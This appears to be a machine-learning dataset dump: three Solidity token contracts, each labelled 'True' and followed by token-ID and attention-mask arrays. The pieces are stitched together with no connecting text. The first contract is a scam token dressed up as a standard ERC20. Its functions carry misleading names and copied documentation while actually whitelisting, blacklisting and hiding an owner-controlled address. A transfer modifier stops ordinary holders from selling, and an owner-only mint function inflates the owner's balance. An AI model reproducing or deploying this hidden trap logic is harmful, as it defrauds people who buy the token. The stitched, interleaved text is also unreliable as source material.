require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2385,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2475,
1012,
1018,
1012,
1014,
1012,
1035,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-19
*/
pragma solidity >=0.5.16 <0.6.9;
pragma experimental ABIEncoderV2;
//YOUWILLNEVERWALKALONE
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract StarkChain {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address payable public fundsWallet;
uint256 public maximumTarget;
uint256 public lastBlock;
uint256 public rewardTimes;
uint256 public genesisReward;
uint256 public premined;
uint256 public nRewarMod;
uint256 public nWtime;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 8923155 * 10 ** uint256(decimals);
tokenName = "Stark Chain";
tokenSymbol = "STARK";
lastBlock = 0;
nRewarMod = 5700;
nWtime = 7776000;
genesisReward = (10**uint256(decimals)); // Ödül Miktarı
maximumTarget = 100 * 10 ** uint256(decimals);
fundsWallet = msg.sender;
premined = 35850 * 10 ** uint256(decimals);
balanceOf[msg.sender] = premined;
balanceOf[address(this)] = initialSupply;
totalSupply = initialSupply + premined;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function uintToString(uint256 v) internal pure returns(string memory str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(uint8(48 + remainder));
}
bytes memory s = new bytes(i + 1);
for (uint j = 0; j <= i; j++) {
s[j] = reversed[i - j];
}
str = string(s);
}
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a,"-",b));
}
function getCurrentBlockHash() public view returns (uint256) {
return uint256(blockhash(block.number-1));
}
function getBlockHashAlgoritm(uint256 _blocknumber) public view returns(uint256, uint256){
uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod;
return (crew, block.number-1);
}
function checkBlockReward() public view returns (uint256, uint256) {
uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod;
return (crew, block.number-1);
}
struct stakeInfo {
uint256 _stocktime;
uint256 _stockamount;
}
address[] totalminers;
mapping (address => stakeInfo) nStockDetails;
struct rewarddetails {
uint256 _artyr;
bool _didGetReward;
bool _didisign;
}
mapping (string => rewarddetails) nRewardDetails;
struct nBlockDetails {
uint256 _bTime;
uint256 _tInvest;
}
mapping (uint256 => nBlockDetails) bBlockIteration;
struct activeMiners {
address bUser;
}
mapping(uint256 => activeMiners[]) aMiners;
function totalMinerCount() view public returns (uint256) {
return totalminers.length;
}
function addressHashs() view public returns (uint256) {
return uint256(msg.sender) % 10000000000;
}
function stakerStatus(address _addr) view public returns(bool){
if(nStockDetails[_addr]._stocktime == 0)
{
return false;
}
else
{
return true;
}
}
function stakerAmount(address _addr) view public returns(uint256){
if(nStockDetails[_addr]._stocktime == 0)
{
return 0;
}
else
{
return nStockDetails[_addr]._stockamount;
}
}
function stakerActiveTotal() view public returns(uint256) {
return aMiners[lastBlock].length;
}
function generalCheckPoint() private view returns(string memory) {
return append(uintToString(addressHashs()),uintToString(lastBlock));
}
function necessarySignForReward(uint256 _bnumber) public returns (uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber <= 100);
require(nStockDetails[msg.sender]._stocktime + nWtime > now);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
if(bBlockIteration[lastBlock]._bTime + 1800 < now)
{
lastBlock += 1;
bBlockIteration[lastBlock]._bTime = now;
}
require(nRewardDetails[generalCheckPoint()]._artyr == 0);
bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount;
nRewardDetails[generalCheckPoint()]._artyr = now;
nRewardDetails[generalCheckPoint()]._didGetReward = false;
nRewardDetails[generalCheckPoint()]._didisign = true;
aMiners[lastBlock].push(activeMiners(msg.sender));
return 200;
}
function rewardGet(uint256 _bnumber) public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber > 100);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
require(nStockDetails[msg.sender]._stocktime + nWtime > now );
require(nRewardDetails[generalCheckPoint()]._didGetReward == false);
require(nRewardDetails[generalCheckPoint()]._didisign == true);
uint256 halving = lastBlock / 365;
uint256 totalRA = 128 * genesisReward;
if(halving==0)
{
totalRA = 128 * genesisReward;
}
else if(halving==1)
{
totalRA = 256 * genesisReward;
}
else if(halving==2)
{
totalRA = 512 * genesisReward;
}
else if(halving==3)
{
totalRA = 1024 * genesisReward;
}
else if(halving==4)
{
totalRA = 2048 * genesisReward;
}
else if(halving==5)
{
totalRA = 4096 * genesisReward;
}
else if(halving==6)
{
totalRA = 8192 * genesisReward;
}
else if(halving==7)
{
totalRA = 4096 * genesisReward;
}
else if(halving==8)
{
totalRA = 2048 * genesisReward;
}
else if(halving==9)
{
totalRA = 1024 * genesisReward;
}
else if(halving==10)
{
totalRA = 512 * genesisReward;
}
else if(halving==11)
{
totalRA = 256 * genesisReward;
}
else if(halving==12)
{
totalRA = 128 * genesisReward;
}
else if(halving==13)
{
totalRA = 64 * genesisReward;
}
else if(halving==14)
{
totalRA = 32 * genesisReward;
}
else if(halving==15)
{
totalRA = 16 * genesisReward;
}
else if(halving==16)
{
totalRA = 8 * genesisReward;
}
else if(halving==17)
{
totalRA = 4 * genesisReward;
}
else if(halving==18)
{
totalRA = 2 * genesisReward;
}
else if(halving==19)
{
totalRA = 1 * genesisReward;
}
else if(halving>19)
{
totalRA = 1 * genesisReward;
}
uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100;
nRewardDetails[generalCheckPoint()]._didGetReward = true;
_transfer(address(this), msg.sender, usersReward);
return usersReward;
}
function startMining(uint256 mineamount) public returns (uint256) {
uint256 realMineAmount = mineamount * 10 ** uint256(decimals);
require(realMineAmount >= 10 * 10 ** uint256(decimals));
require(nStockDetails[msg.sender]._stocktime == 0);
maximumTarget += realMineAmount;
nStockDetails[msg.sender]._stocktime = now;
nStockDetails[msg.sender]._stockamount = realMineAmount;
totalminers.push(msg.sender);
_transfer(msg.sender, address(this), realMineAmount);
return 200;
}
function tokenPayBack() public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require(nStockDetails[msg.sender]._stocktime + nWtime < now );
nStockDetails[msg.sender]._stocktime = 0;
_transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount);
return nStockDetails[msg.sender]._stockamount;
}
struct memoInfo {
uint256 _receiveTime;
uint256 _receiveAmount;
address _senderAddr;
string _senderMemo;
}
mapping(address => memoInfo[]) memoGetProcess;
function sendMemoToken(uint256 _amount, address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now, _amount, msg.sender, _memo));
_transfer(msg.sender, _to, _amount);
return 200;
}
function sendMemoOnly(address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now,0, msg.sender, _memo));
_transfer(msg.sender, _to, 0);
return 200;
}
function yourMemos(address _addr, uint256 _index) view public returns(uint256,
uint256,
string memory,
address) {
uint256 rTime = memoGetProcess[_addr][_index]._receiveTime;
uint256 rAmount = memoGetProcess[_addr][_index]._receiveAmount;
string memory sMemo = memoGetProcess[_addr][_index]._senderMemo;
address sAddr = memoGetProcess[_addr][_index]._senderAddr;
if(memoGetProcess[_addr][_index]._receiveTime == 0){
return (0, 0,"0", _addr);
}else {
return (rTime, rAmount,sMemo, sAddr);
}
}
function yourMemosCount(address _addr) view public returns(uint256) {
return memoGetProcess[_addr].length;
}
function appendMemos(string memory a, string memory b,string memory c,string memory d) internal pure returns (string memory) {
return string(abi.encodePacked(a,"#",b,"#",c,"#",d));
}
function addressToString(address _addr) public pure returns(string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function getYourMemosOnly(address _addr) view public returns(string[] memory) {
uint total = memoGetProcess[_addr].length;
string[] memory messages = new string[](total);
for (uint i=0; i < total; i++) {
messages[i] = appendMemos(uintToString(memoGetProcess[_addr][i]._receiveTime),memoGetProcess[_addr][i]._senderMemo,uintToString(memoGetProcess[_addr][i]._receiveAmount),addressToString(memoGetProcess[_addr][i]._senderAddr));
}
return messages;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5511,
1011,
2539,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1019,
1012,
2385,
1026,
1014,
1012,
1020,
1012,
1023,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1013,
2017,
29602,
19666,
22507,
17122,
23067,
2638,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
2655,
2850,
2696,
1035,
4469,
2850,
2696,
1007,
6327,
1025,
1065,
3206,
9762,
24925,
2078,
1063,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
4769,
3477,
3085,
2270,
5029,
9628,
3388,
1025,
21318,
3372,
17788,
2575,
2270,
4555,
7559,
18150,
1025,
21318,
3372,
17788,
2575,
2270,
2197,
23467,
1025,
21318,
3372,
17788,
2575,
2270,
10377,
7292,
2015,
1025,
21318,
3372,
17788,
2575,
2270,
11046,
15603,
4232,
1025,
21318,
3372,
17788,
2575,
2270,
26563,
21280,
1025,
21318,
3372,
17788,
2575,
2270,
17212,
7974,
27292,
7716,
1025,
21318,
3372,
17788,
2575,
2270,
22064,
7292,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
9570,
2953,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
5164,
3638,
19204,
18442,
1010,
5164,
3638,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
20381,
6279,
22086,
1027,
6486,
21926,
16068,
2629,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
19204,
18442,
1027,
1000,
9762,
4677,
1000,
1025,
19204,
6508,
13344,
2140,
1027,
1000,
9762,
1000,
1025,
2197,
23467,
1027,
1014,
1025,
17212,
7974,
27292,
7716,
1027,
24902,
2692,
1025,
22064,
7292,
1027,
6255,
2581,
16086,
8889,
1025,
11046,
15603,
4232,
1027,
1006,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1007,
1025,
1013,
1013,
1051,
8566,
2140,
2771,
25509,
2906,
11722,
4555,
7559,
18150,
1027,
2531,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
5029,
9628,
3388,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
26563,
21280,
1027,
3486,
27531,
2692,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
26563,
21280,
1025,
5703,
11253,
1031,
4769,
1006,
2023,
1007,
1033,
1027,
20381,
6279,
22086,
1025,
21948,
6279,
22086,
1027,
20381,
6279,
22086,
1009,
26563,
21280,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
contract OwnerHelper
{
address public owner;
event OwnerTransferPropose(address indexed _from, address indexed _to);
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
constructor() public
{
owner = msg.sender;
}
function transferOwnership(address _to) onlyOwner public
{
require(_to != owner);
require(_to != address(0x0));
owner = _to;
emit OwnerTransferPropose(owner, _to);
}
}
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract TokenDistribute is OwnerHelper
{
uint public E18 = 10 ** 18;
constructor() public
{
}
function multipleTokenDistribute(address _token, address[] _addresses, uint[] _values) public onlyOwner
{
for(uint i = 0; i < _addresses.length ; i++)
{
Token(_token).transfer(_addresses[i], _values[i] * E18);
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
3954,
16001,
4842,
1063,
4769,
2270,
3954,
1025,
2724,
3954,
6494,
3619,
7512,
21572,
20688,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1007,
1025,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2000,
1007,
2069,
12384,
2121,
2270,
1063,
5478,
1006,
1035,
2000,
999,
1027,
3954,
1007,
1025,
5478,
1006,
1035,
2000,
999,
1027,
4769,
1006,
1014,
2595,
2692,
1007,
1007,
1025,
3954,
1027,
1035,
2000,
1025,
12495,
2102,
3954,
6494,
3619,
7512,
21572,
20688,
1006,
3954,
1010,
1035,
2000,
1007,
1025,
1065,
1065,
3206,
19204,
1063,
27507,
16703,
2270,
3115,
1025,
27507,
16703,
2270,
2171,
1025,
27507,
16703,
2270,
6454,
1025,
21318,
3372,
17788,
2575,
2270,
